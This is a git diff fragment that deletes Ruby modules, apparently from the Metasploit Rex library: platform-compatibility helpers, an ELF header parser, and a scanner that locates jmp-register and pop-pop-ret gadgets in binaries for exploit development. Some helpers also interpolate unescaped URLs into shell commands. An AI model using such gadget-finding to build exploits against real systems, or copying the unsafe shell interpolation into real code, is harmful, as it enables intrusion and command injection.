||||
if(url[0,1] == "/")
|
||||
self.open_file(url)
|
||||
end
|
||||
return if not @@loaded_win32api
|
||||
Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", url, nil, nil, 0)
|
||||
when /mswin32|mingw/
|
||||
return if not @@loaded_win32api
|
||||
Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", url, nil, nil, 0)
|
||||
when /darwin/
|
||||
system("open #{url}")
|
||||
else
|
||||
# Search through the PATH variable (if it exists) and chose a browser
|
||||
# We are making an assumption about the nature of "PATH" so tread lightly
|
||||
if defined? ENV['PATH']
|
||||
# "xdg-open" is more general than "sensible-browser" and can be useful for lots of
|
||||
# file types -- text files, pcaps, or URLs. It's nearly always
|
||||
# going to use the application the user is expecting. If we're not
|
||||
# on something Debian-based, fall back to likely browsers.
|
||||
['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
# Does the browser exists?
|
||||
if File.exist?("#{path}/#{browser}")
|
||||
system("#{browser} #{url} &")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def self.open_webrtc_browser(url='http://google.com/')
|
||||
case RUBY_PLATFORM
|
||||
when /mswin2|mingw|cygwin/
|
||||
paths = [
|
||||
"Google\\Chrome\\Application\\chrome.exe",
|
||||
"Mozilla Firefox\\firefox.exe",
|
||||
"Opera\\launcher.exe"
|
||||
]
|
||||
|
||||
prog_files = ENV['ProgramFiles']
|
||||
paths = paths.map { |p| "#{prog_files}\\#{p}" }
|
||||
|
||||
# Old chrome path
|
||||
app_data = ENV['APPDATA']
|
||||
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
|
||||
|
||||
paths.each do |path|
|
||||
if File.exist?(path)
|
||||
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
||||
system("\"#{path}\" #{args} \"#{url}\"")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
when /darwin/
|
||||
['Google Chrome.app', 'Firefox.app'].each do |browser|
|
||||
browser_path = "/Applications/#{browser}"
|
||||
if File.directory?(browser_path)
|
||||
args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : ""
|
||||
|
||||
system("open #{url} -a \"#{browser_path}\" #{args} &")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
if defined? ENV['PATH']
|
||||
['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser|
|
||||
ENV['PATH'].split(':').each do |path|
|
||||
browser_path = "#{path}/#{browser}"
|
||||
if File.exist?(browser_path)
|
||||
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{browser_path} #{args} #{url} &")
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def self.open_email(addr)
|
||||
case RUBY_PLATFORM
|
||||
when /mswin32|cygwin/
|
||||
return if not @@loaded_win32api
|
||||
Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", "mailto:"+addr, nil, nil, 0)
|
||||
when /darwin/
|
||||
system("open mailto:#{addr}")
|
||||
else
|
||||
# ?
|
||||
end
|
||||
end
|
||||
|
||||
def self.play_sound(path)
|
||||
case RUBY_PLATFORM
|
||||
when /cygwin/
|
||||
path = self.cygwin_to_win32(path)
|
||||
return if not @@loaded_win32api
|
||||
Win32API.new("winmm.dll", "sndPlaySoundA", ["SI"], "I").call(path, 0x20000)
|
||||
when /mswin32/
|
||||
return if not @@loaded_win32api
|
||||
Win32API.new("winmm.dll", "sndPlaySoundA", ["SI"], "I").call(path, 0x20000)
|
||||
when /darwin/
|
||||
system("afplay #{path} >/dev/null 2>&1")
|
||||
else
|
||||
system("aplay #{path} >/dev/null 2>&1")
|
||||
end
|
||||
end
|
||||
|
||||
def self.getenv(var)
|
||||
if (is_windows and @@loaded_win32api)
|
||||
f = Win32API.new("kernel32", "GetEnvironmentVariable", ["P", "P", "I"], "I")
|
||||
buff = "\x00" * 16384
|
||||
sz = f.call(var, buff, buff.length)
|
||||
return nil if sz == 0
|
||||
buff[0,sz]
|
||||
else
|
||||
ENV[var]
|
||||
end
|
||||
end
|
||||
|
||||
def self.setenv(var,val)
|
||||
if (is_windows and @@loaded_win32api)
|
||||
f = Win32API.new("kernel32", "SetEnvironmentVariable", ["P", "P"], "I")
|
||||
f.call(var, val + "\x00")
|
||||
else
|
||||
ENV[var]= val
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Obtain the path to our interpreter
|
||||
#
|
||||
def self.win32_ruby_path
|
||||
return nil if ! (is_windows and @@loaded_win32api)
|
||||
gmh = Win32API.new("kernel32", "GetModuleHandle", ["P"], "L")
|
||||
gmf = Win32API.new("kernel32", "GetModuleFileName", ["LPL"], "L")
|
||||
mod = gmh.call(nil)
|
||||
inf = "\x00" * 1024
|
||||
gmf.call(mod, inf, 1024)
|
||||
inf.unpack("Z*")[0]
|
||||
end
|
||||
|
||||
#
|
||||
# Call WinExec (equiv to system("cmd &"))
|
||||
#
|
||||
def self.win32_winexec(cmd)
|
||||
return nil if ! (is_windows and @@loaded_win32api)
|
||||
exe = Win32API.new("kernel32", "WinExec", ["PL"], "L")
|
||||
exe.call(cmd, 0)
|
||||
end
|
||||
|
||||
#
|
||||
# Verify the Console2 environment
|
||||
#
|
||||
def self.win32_console2_verify
|
||||
return nil if ! (is_windows and @@loaded_win32api)
|
||||
buf = "\x00" * 512
|
||||
out = Win32API.new("kernel32", "GetStdHandle", ["L"], "L").call(STD_OUTPUT_HANDLE)
|
||||
res = Win32API.new("kernel32","GetConsoleTitle", ["PL"], "L").call(buf, buf.length-1) rescue 0
|
||||
( res > 0 and buf.index("Console2 command").nil? ) ? false : true
|
||||
end
|
||||
|
||||
#
|
||||
# Expand a 8.3 path to a full path
|
||||
#
|
||||
def self.win32_expand_path(path)
|
||||
return nil if ! (is_windows and @@loaded_win32api)
|
||||
glp = Win32API.new('kernel32', 'GetLongPathName', 'PPL', 'L')
|
||||
buf = "\x00" * 260
|
||||
len = glp.call(path, buf, buf.length)
|
||||
buf[0, len]
|
||||
end
|
||||
|
||||
#
|
||||
# Platform independent socket pair
|
||||
#
|
||||
def self.pipe
|
||||
|
||||
if (! is_windows())
|
||||
# Standard pipes should be fine
|
||||
return ::IO.pipe
|
||||
end
|
||||
|
||||
# Create a socket connection for Windows
|
||||
serv = nil
|
||||
port = 1024
|
||||
|
||||
while (! serv and port < 65535)
|
||||
begin
|
||||
serv = TCPServer.new('127.0.0.1', (port += 1))
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
pipe1 = TCPSocket.new('127.0.0.1', port)
|
||||
|
||||
# Accept the forked child
|
||||
pipe2 = serv.accept
|
||||
|
||||
# Shutdown the server
|
||||
serv.close
|
||||
|
||||
return [pipe1, pipe2]
|
||||
end
|
||||
|
||||
#
|
||||
# Copy a file to a temporary path
|
||||
#
|
||||
|
||||
def self.temp_copy(path)
|
||||
raise RuntimeError,"missing Tempfile" if not @@loaded_tempfile
|
||||
fd = File.open(path, "rb")
|
||||
tp = Tempfile.new("msftemp")
|
||||
tp.binmode
|
||||
tp.write(fd.read(File.size(path)))
|
||||
tp.close
|
||||
fd.close
|
||||
tp
|
||||
end
|
||||
|
||||
#
|
||||
# Delete an opened temporary file
|
||||
#
|
||||
|
||||
def self.temp_delete(tp)
|
||||
raise RuntimeError,"missing FileUtils" if not @@loaded_fileutils
|
||||
begin
|
||||
FileUtils.rm(tp.path)
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialization
|
||||
#
|
||||
|
||||
if(is_windows or is_cygwin)
|
||||
begin
|
||||
require "Win32API"
|
||||
@@loaded_win32api = true
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
require "tempfile"
|
||||
@@loaded_tempfile = true
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
begin
|
||||
require "fileutils"
|
||||
@@loaded_fileutils = true
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -1,9 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module ElfParsey
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/elfparsey/elf'
|
|
@ -1,121 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/elfparsey/elfbase'
|
||||
require 'rex/elfparsey/exceptions'
|
||||
require 'rex/image_source'
|
||||
|
||||
module Rex
|
||||
module ElfParsey
|
||||
class Elf < ElfBase
|
||||
|
||||
attr_accessor :elf_header, :program_header, :base_addr, :isource
|
||||
|
||||
def initialize(isource)
|
||||
offset = 0
|
||||
base_addr = 0
|
||||
|
||||
# ELF Header
|
||||
elf_header = ElfHeader.new(isource.read(offset, ELF_HEADER_SIZE))
|
||||
|
||||
# Data encoding
|
||||
ei_data = elf_header.e_ident[EI_DATA,1].unpack("C")[0]
|
||||
|
||||
e_phoff = elf_header.e_phoff
|
||||
e_phentsize = elf_header.e_phentsize
|
||||
e_phnum = elf_header.e_phnum
|
||||
|
||||
# Program Header Table
|
||||
program_header = []
|
||||
|
||||
e_phnum.times do |i|
|
||||
offset = e_phoff + (e_phentsize * i)
|
||||
|
||||
program_header << ProgramHeader.new(
|
||||
isource.read(offset, PROGRAM_HEADER_SIZE), ei_data
|
||||
)
|
||||
|
||||
if program_header[-1].p_type == PT_LOAD && program_header[-1].p_flags & PF_EXEC > 0
|
||||
base_addr = program_header[-1].p_vaddr
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
self.elf_header = elf_header
|
||||
self.program_header = program_header
|
||||
self.base_addr = base_addr
|
||||
self.isource = isource
|
||||
end
|
||||
|
||||
def self.new_from_file(filename, disk_backed = false)
|
||||
|
||||
file = ::File.new(filename)
|
||||
# file.binmode # windows... :\
|
||||
|
||||
if disk_backed
|
||||
return self.new(ImageSource::Disk.new(file))
|
||||
else
|
||||
obj = new_from_string(file.read)
|
||||
file.close
|
||||
return obj
|
||||
end
|
||||
end
|
||||
|
||||
def self.new_from_string(data)
|
||||
return self.new(ImageSource::Memory.new(data))
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this binary is for a 64-bit architecture.
|
||||
#
|
||||
def ptr_64?
|
||||
unless [ ELFCLASS32, ELFCLASS64 ].include?(
|
||||
elf_header.e_ident[EI_CLASS,1].unpack("C*")[0])
|
||||
raise ElfHeaderError, 'Invalid class', caller
|
||||
end
|
||||
|
||||
elf_header.e_ident[EI_CLASS,1].unpack("C*")[0] == ELFCLASS64
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this binary is for a 32-bit architecture.
|
||||
# This check does not take into account 16-bit binaries at the moment.
|
||||
#
|
||||
def ptr_32?
|
||||
ptr_64? == false
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a virtual address to a string representation based on the
|
||||
# underlying architecture.
|
||||
#
|
||||
def ptr_s(rva)
|
||||
(ptr_32?) ? ("0x%.8x" % rva) : ("0x%.16x" % rva)
|
||||
end
|
||||
|
||||
def offset_to_rva(offset)
|
||||
base_addr + offset
|
||||
end
|
||||
|
||||
def rva_to_offset(rva)
|
||||
rva - base_addr
|
||||
end
|
||||
|
||||
def read(offset, len)
|
||||
isource.read(offset, len)
|
||||
end
|
||||
|
||||
def read_rva(rva, len)
|
||||
isource.read(rva_to_offset(rva), len)
|
||||
end
|
||||
|
||||
def index(*args)
|
||||
isource.index(*args)
|
||||
end
|
||||
|
||||
def close
|
||||
isource.close
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,265 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/struct2'
|
||||
|
||||
module Rex
|
||||
module ElfParsey
|
||||
class ElfBase
|
||||
|
||||
# ELF Header
|
||||
|
||||
ELF_HEADER_SIZE = 52
|
||||
|
||||
EI_NIDENT = 16
|
||||
|
||||
ELF32_EHDR_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'string', 'e_ident', EI_NIDENT, '' ],
|
||||
[ 'uint16v', 'e_type', 0 ],
|
||||
[ 'uint16v', 'e_machine', 0 ],
|
||||
[ 'uint32v', 'e_version', 0 ],
|
||||
[ 'uint32v', 'e_entry', 0 ],
|
||||
[ 'uint32v', 'e_phoff', 0 ],
|
||||
[ 'uint32v', 'e_shoff', 0 ],
|
||||
[ 'uint32v', 'e_flags', 0 ],
|
||||
[ 'uint16v', 'e_ehsize', 0 ],
|
||||
[ 'uint16v', 'e_phentsize', 0 ],
|
||||
[ 'uint16v', 'e_phnum', 0 ],
|
||||
[ 'uint16v', 'e_shentsize', 0 ],
|
||||
[ 'uint16v', 'e_shnum', 0 ],
|
||||
[ 'uint16v', 'e_shstrndx', 0 ]
|
||||
)
|
||||
|
||||
ELF32_EHDR_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'string', 'e_ident', EI_NIDENT, '' ],
|
||||
[ 'uint16n', 'e_type', 0 ],
|
||||
[ 'uint16n', 'e_machine', 0 ],
|
||||
[ 'uint32n', 'e_version', 0 ],
|
||||
[ 'uint32n', 'e_entry', 0 ],
|
||||
[ 'uint32n', 'e_phoff', 0 ],
|
||||
[ 'uint32n', 'e_shoff', 0 ],
|
||||
[ 'uint32n', 'e_flags', 0 ],
|
||||
[ 'uint16n', 'e_ehsize', 0 ],
|
||||
[ 'uint16n', 'e_phentsize', 0 ],
|
||||
[ 'uint16n', 'e_phnum', 0 ],
|
||||
[ 'uint16n', 'e_shentsize', 0 ],
|
||||
[ 'uint16n', 'e_shnum', 0 ],
|
||||
[ 'uint16n', 'e_shstrndx', 0 ]
|
||||
)
|
||||
|
||||
# e_type This member identifies the object file type
|
||||
|
||||
ET_NONE = 0 # No file type
|
||||
ET_REL = 1 # Relocatable file
|
||||
ET_EXEC = 2 # Executable file
|
||||
ET_DYN = 3 # Shared object file
|
||||
ET_CORE = 4 # Core file
|
||||
ET_LOPROC = 0xff00 # Processor-specific
|
||||
ET_HIPROC = 0xffff # Processor-specific
|
||||
|
||||
#
|
||||
# e_machine This member's value specifies the required architecture for an
|
||||
# individual file.
|
||||
#
|
||||
|
||||
# ET_NONE = 0 # No machine
|
||||
EM_M32 = 1 # AT&T WE 32100
|
||||
EM_SPARC = 2 # SPARC
|
||||
EM_386 = 3 # Intel Architecture
|
||||
EM_68K = 4 # Motorola 68000
|
||||
EM_88K = 5 # Motorola 88000
|
||||
EM_860 = 7 # Intel 80860
|
||||
EM_MIPS = 8 # MIPS RS3000 Big-Endian
|
||||
EM_MIPS_RS4_BE = 10 # MIPS RS4000 Big-Endian
|
||||
|
||||
# e_version This member identifies the object file version
|
||||
|
||||
EV_NONE = 0 # Invalid version
|
||||
EV_CURRENT = 1 # Current version
|
||||
|
||||
|
||||
# ELF Identification
|
||||
|
||||
# e_ident[] Identification indexes
|
||||
|
||||
EI_MAG0 = 0 # File identification
|
||||
EI_MAG1 = 1 # File identification
|
||||
EI_MAG2 = 2 # File identification
|
||||
EI_MAG3 = 3 # File identification
|
||||
EI_CLASS = 4 # File class
|
||||
EI_DATA = 5 # Data encoding
|
||||
EI_VERSION = 6 # File version
|
||||
EI_PAD = 7 # Start of padding bytes
|
||||
# EI_NIDENT = 16 # Size of e_ident[]
|
||||
|
||||
#
|
||||
# EI_MAG0 to EI_MAG3 A file's first 4 bytes hold a "magic number",
|
||||
# identifying the file as an ELF object file.
|
||||
#
|
||||
|
||||
ELFMAG0 = 0x7f # e_ident[EI_MAG0]
|
||||
ELFMAG1 = ?E # e_ident[EI_MAG1]
|
||||
ELFMAG2 = ?L # e_ident[EI_MAG2]
|
||||
ELFMAG3 = ?F # e_ident[EI_MAG3]
|
||||
|
||||
ELFMAG = ELFMAG0.chr + ELFMAG1.chr + ELFMAG2.chr + ELFMAG3.chr
|
||||
|
||||
# EI_CLASS Identifies the file's class, or capacity
|
||||
|
||||
ELFCLASSNONE = 0 # Invalid class
|
||||
ELFCLASS32 = 1 # 32-bit objects
|
||||
ELFCLASS64 = 2 # 64-bit objects
|
||||
|
||||
#
|
||||
# EI_DATA Specifies the data encoding of the processor-specific data in
|
||||
# the object file. The following encodings are currently defined.
|
||||
#
|
||||
|
||||
ELFDATANONE = 0 # Invalid data encoding
|
||||
ELFDATA2LSB = 1 # Least significant byte first
|
||||
ELFDATA2MSB = 2 # Most significant byte first
|
||||
|
||||
class GenericStruct
|
||||
attr_accessor :struct
|
||||
def initialize(_struct)
|
||||
self.struct = _struct
|
||||
end
|
||||
|
||||
# The following methods are just pass-throughs for struct
|
||||
|
||||
# Access a value
|
||||
def v
|
||||
struct.v
|
||||
|
||||
end
|
||||
|
||||
# Access a value by array
|
||||
def [](*args)
|
||||
struct[*args]
|
||||
end
|
||||
|
||||
# Obtain an array of all fields
|
||||
def keys
|
||||
struct.keys
|
||||
end
|
||||
|
||||
def method_missing(meth, *args)
|
||||
v[meth.to_s] || (raise NoMethodError.new, meth)
|
||||
end
|
||||
end
|
||||
|
||||
class GenericHeader < GenericStruct
|
||||
end
|
||||
|
||||
class ElfHeader < GenericHeader
|
||||
def initialize(rawdata)
|
||||
|
||||
# Identify the data encoding and parse ELF Header
|
||||
elf_header = ELF32_EHDR_LSB.make_struct
|
||||
|
||||
if !elf_header.from_s(rawdata)
|
||||
raise ElfHeaderError, "Couldn't parse ELF Header", caller
|
||||
end
|
||||
|
||||
if elf_header.v['e_ident'][EI_DATA,1].unpack('C')[0] == ELFDATA2MSB
|
||||
elf_header = ELF32_EHDR_MSB.make_struct
|
||||
|
||||
if !elf_header.from_s(rawdata)
|
||||
raise ElfHeaderError, "Couldn't parse ELF Header", caller
|
||||
end
|
||||
end
|
||||
|
||||
unless [ ELFDATA2LSB, ELFDATA2MSB ].include?(
|
||||
elf_header.v['e_ident'][EI_DATA,1].unpack('C')[0])
|
||||
raise ElfHeaderError, "Invalid data encoding", caller
|
||||
end
|
||||
|
||||
# Identify the file as an ELF object file
|
||||
unless elf_header.v['e_ident'][EI_MAG0, 4] == ELFMAG
|
||||
raise ElfHeaderError, 'Invalid magic number', caller
|
||||
end
|
||||
|
||||
self.struct = elf_header
|
||||
end
|
||||
|
||||
def e_ident
|
||||
struct.v['e_ident']
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Program Header
|
||||
|
||||
PROGRAM_HEADER_SIZE = 32
|
||||
|
||||
ELF32_PHDR_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'uint32v', 'p_type', 0 ],
|
||||
[ 'uint32v', 'p_offset', 0 ],
|
||||
[ 'uint32v', 'p_vaddr', 0 ],
|
||||
[ 'uint32v', 'p_paddr', 0 ],
|
||||
[ 'uint32v', 'p_filesz', 0 ],
|
||||
[ 'uint32v', 'p_memsz', 0 ],
|
||||
[ 'uint32v', 'p_flags', 0 ],
|
||||
[ 'uint32v', 'p_align', 0 ]
|
||||
)
|
||||
|
||||
ELF32_PHDR_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'uint32n', 'p_type', 0 ],
|
||||
[ 'uint32n', 'p_offset', 0 ],
|
||||
[ 'uint32n', 'p_vaddr', 0 ],
|
||||
[ 'uint32n', 'p_paddr', 0 ],
|
||||
[ 'uint32n', 'p_filesz', 0 ],
|
||||
[ 'uint32n', 'p_memsz', 0 ],
|
||||
[ 'uint32n', 'p_flags', 0 ],
|
||||
[ 'uint32n', 'p_align', 0 ]
|
||||
)
|
||||
|
||||
# p_flags This member tells which permissions should have the segment
|
||||
|
||||
# Flags
|
||||
|
||||
PF_EXEC = 1
|
||||
PF_WRITE = 2
|
||||
PF_READ = 4
|
||||
|
||||
|
||||
#
|
||||
# p_type This member tells what kind of segment this array element
|
||||
# describes or how to interpret the array element's information.
|
||||
#
|
||||
|
||||
# Segment Types
|
||||
|
||||
PT_NULL = 0
|
||||
PT_LOAD = 1
|
||||
PT_DYNAMIC = 2
|
||||
PT_INTERP = 3
|
||||
PT_NOTE = 4
|
||||
PT_SHLIB = 5
|
||||
PT_PHDR = 6
|
||||
PT_LOPROC = 0x70000000
|
||||
PT_HIPROC = 0x7fffffff
|
||||
|
||||
class ProgramHeader < GenericHeader
|
||||
def initialize(rawdata, ei_data)
|
||||
# Identify the data encoding and parse Program Header
|
||||
if ei_data == ELFDATA2LSB
|
||||
program_header = ELF32_PHDR_LSB.make_struct
|
||||
elsif ei_data == ELFDATA2MSB
|
||||
program_header = ELF32_PHDR_MSB.make_struct
|
||||
else
|
||||
raise ElfHeaderError, "Invalid data encoding", caller
|
||||
end
|
||||
|
||||
if !program_header.from_s(rawdata)
|
||||
raise ProgramHeaderError, "Couldn't parse Program Header", caller
|
||||
end
|
||||
|
||||
self.struct = program_header
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,25 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module ElfParsey
|
||||
|
||||
class ElfError < ::RuntimeError
|
||||
end
|
||||
|
||||
class ParseError < ElfError
|
||||
end
|
||||
|
||||
class ElfHeaderError < ParseError
|
||||
end
|
||||
|
||||
class ProgramHeaderError < ParseError
|
||||
end
|
||||
|
||||
class BoundsError < ElfError
|
||||
end
|
||||
|
||||
class ElfParseyError < ElfError
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,10 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module ElfScan
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/elfscan/scanner'
|
||||
require 'rex/elfscan/search'
|
|
@ -1,226 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'metasm'
|
||||
|
||||
module Rex
|
||||
module ElfScan
|
||||
module Scanner
|
||||
class Generic
|
||||
|
||||
attr_accessor :elf, :regex
|
||||
|
||||
def initialize(elf)
|
||||
self.elf = elf
|
||||
end
|
||||
|
||||
def config(param)
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
$stdout.puts "[#{param['file']}]"
|
||||
elf.program_header.each do |program_header|
|
||||
|
||||
# Scan only loadable segment entries in the program header table
|
||||
if program_header.p_type == Rex::ElfParsey::ElfBase::PT_LOAD
|
||||
hits = scan_segment(program_header, param)
|
||||
hits.each do |hit|
|
||||
rva = hit[0]
|
||||
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
|
||||
$stdout.puts elf.ptr_s(rva) + " " + message
|
||||
if(param['disasm'])
|
||||
message.gsub!("; ", "\n")
|
||||
if message.include?("retn")
|
||||
message.gsub!("retn", "ret")
|
||||
end
|
||||
|
||||
begin
|
||||
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble
|
||||
rescue Metasm::ParseError
|
||||
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*'))
|
||||
end
|
||||
|
||||
addr = 0
|
||||
while ((di = d2.disassemble_instruction(addr)))
|
||||
disasm = "0x%08x\t" % (rva + addr)
|
||||
disasm << di.instruction.to_s
|
||||
$stdout.puts disasm
|
||||
addr = di.next_addr
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def scan_segment(program_header, param={})
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
class JmpRegScanner < Generic
|
||||
|
||||
def config(param)
|
||||
regnums = param['args']
|
||||
|
||||
# build a list of the call bytes
|
||||
calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work..
|
||||
jmps = _build_byte_list(0xe0, regnums)
|
||||
pushs1 = _build_byte_list(0x50, regnums)
|
||||
pushs2 = _build_byte_list(0xf0, regnums)
|
||||
|
||||
regexstr = '('
|
||||
if !calls.empty?
|
||||
regexstr += "\xff[#{calls}]|"
|
||||
end
|
||||
|
||||
regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))"
|
||||
|
||||
self.regex = Regexp.new(regexstr, nil, 'n')
|
||||
end
|
||||
|
||||
# build a list for regex of the possible bytes, based on a base
|
||||
# byte and a list of register numbers..
|
||||
def _build_byte_list(base, regnums)
|
||||
regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')
|
||||
end
|
||||
|
||||
def _ret_size(offset)
|
||||
case elf.read(offset, 1)
|
||||
when "\xc3"
|
||||
return 1
|
||||
when "\xc2"
|
||||
return 3
|
||||
end
|
||||
|
||||
raise "Cannot read at offset: #{offset}"
|
||||
end
|
||||
|
||||
def _parse_ret(data)
|
||||
if data.length == 1
|
||||
return "ret"
|
||||
else
|
||||
return "retn 0x%04x" % data[1, 2].unpack('v')[0]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def scan_segment(program_header, param={})
|
||||
offset = program_header.p_offset
|
||||
|
||||
hits = []
|
||||
|
||||
while (offset = elf.index(regex, offset)) != nil
|
||||
|
||||
rva = elf.offset_to_rva(offset)
|
||||
message = ''
|
||||
|
||||
parse_ret = false
|
||||
|
||||
byte1 = elf.read(offset, 1).unpack('C')[0]
|
||||
|
||||
if byte1 == 0xff
|
||||
byte2 = elf.read(offset+1, 1).unpack('C')[0]
|
||||
regname = Rex::Arch::X86.reg_name32(byte2 & 0x7)
|
||||
|
||||
case byte2 & 0xf8
|
||||
when 0xd0
|
||||
message = "call #{regname}"
|
||||
offset += 2
|
||||
when 0xe0
|
||||
message = "jmp #{regname}"
|
||||
offset += 2
|
||||
when 0xf0
|
||||
retsize = _ret_size(offset+2)
|
||||
message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize))
|
||||
offset += 2 + retsize
|
||||
else
|
||||
raise "Unexpected value at #{offset}"
|
||||
end
|
||||
else
|
||||
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
|
||||
retsize = _ret_size(offset+1)
|
||||
message = "push #{regname}; " + _parse_ret(elf.read(offset+1, retsize))
|
||||
offset += 1 + retsize
|
||||
end
|
||||
|
||||
hits << [ rva, message ]
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
class PopPopRetScanner < JmpRegScanner
|
||||
|
||||
def config(param)
|
||||
pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's...
|
||||
self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n')
|
||||
end
|
||||
|
||||
def scan_segment(program_header, param={})
|
||||
offset = program_header.p_offset
|
||||
|
||||
hits = []
|
||||
|
||||
while offset < program_header.p_offset + program_header.p_filesz &&
|
||||
(offset = elf.index(regex, offset)) != nil
|
||||
|
||||
rva = elf.offset_to_rva(offset)
|
||||
message = ''
|
||||
|
||||
pops = elf.read(offset, 2)
|
||||
reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack('C*')[0] & 0x7)
|
||||
reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack('C*')[0] & 0x7)
|
||||
|
||||
message = "pop #{reg1}; pop #{reg2}; "
|
||||
|
||||
retsize = _ret_size(offset+2)
|
||||
message += _parse_ret(elf.read(offset+2, retsize))
|
||||
|
||||
offset += 2 + retsize
|
||||
|
||||
hits << [ rva, message ]
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
class RegexScanner < JmpRegScanner
|
||||
|
||||
def config(param)
|
||||
self.regex = Regexp.new(param['args'], nil, 'n')
|
||||
end
|
||||
|
||||
def scan_segment(program_header, param={})
|
||||
offset = program_header.p_offset
|
||||
|
||||
hits = []
|
||||
|
||||
while offset < program_header.p_offset + program_header.p_filesz &&
|
||||
(offset = elf.index(regex, offset)) != nil
|
||||
|
||||
idx = offset
|
||||
buf = ''
|
||||
mat = nil
|
||||
|
||||
while (! (mat = buf.match(regex)))
|
||||
buf << elf.read(idx, 1)
|
||||
idx += 1
|
||||
end
|
||||
|
||||
rva = elf.offset_to_rva(offset)
|
||||
|
||||
hits << [ rva, buf.unpack("H*") ]
|
||||
offset += buf.length
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,44 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module ElfScan
|
||||
module Search
|
||||
|
||||
class DumpRVA
|
||||
attr_accessor :elf
|
||||
|
||||
def initialize(elf)
|
||||
self.elf = elf
|
||||
end
|
||||
|
||||
def config(param)
|
||||
@address = param['args']
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
$stdout.puts "[#{param['file']}]"
|
||||
|
||||
# Adjust based on -A and -B flags
|
||||
pre = param['before'] || 0
|
||||
suf = param['after'] || 16
|
||||
|
||||
@address -= pre
|
||||
@address = 0 if (@address < 0 || ! @address)
|
||||
buf = elf.read_rva(@address, suf)
|
||||
$stdout.puts elf.ptr_s(@address) + " " + buf.unpack("H*")[0]
|
||||
end
|
||||
end
|
||||
|
||||
class DumpOffset < DumpRVA
|
||||
def config(param)
|
||||
begin
|
||||
@address = elf.offset_to_rva(param['args'])
|
||||
rescue Rex::ElfParsey::BoundsError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
160
lib/rex/file.rb
160
lib/rex/file.rb
|
@ -1,160 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'find'
|
||||
require 'rex/compat'
|
||||
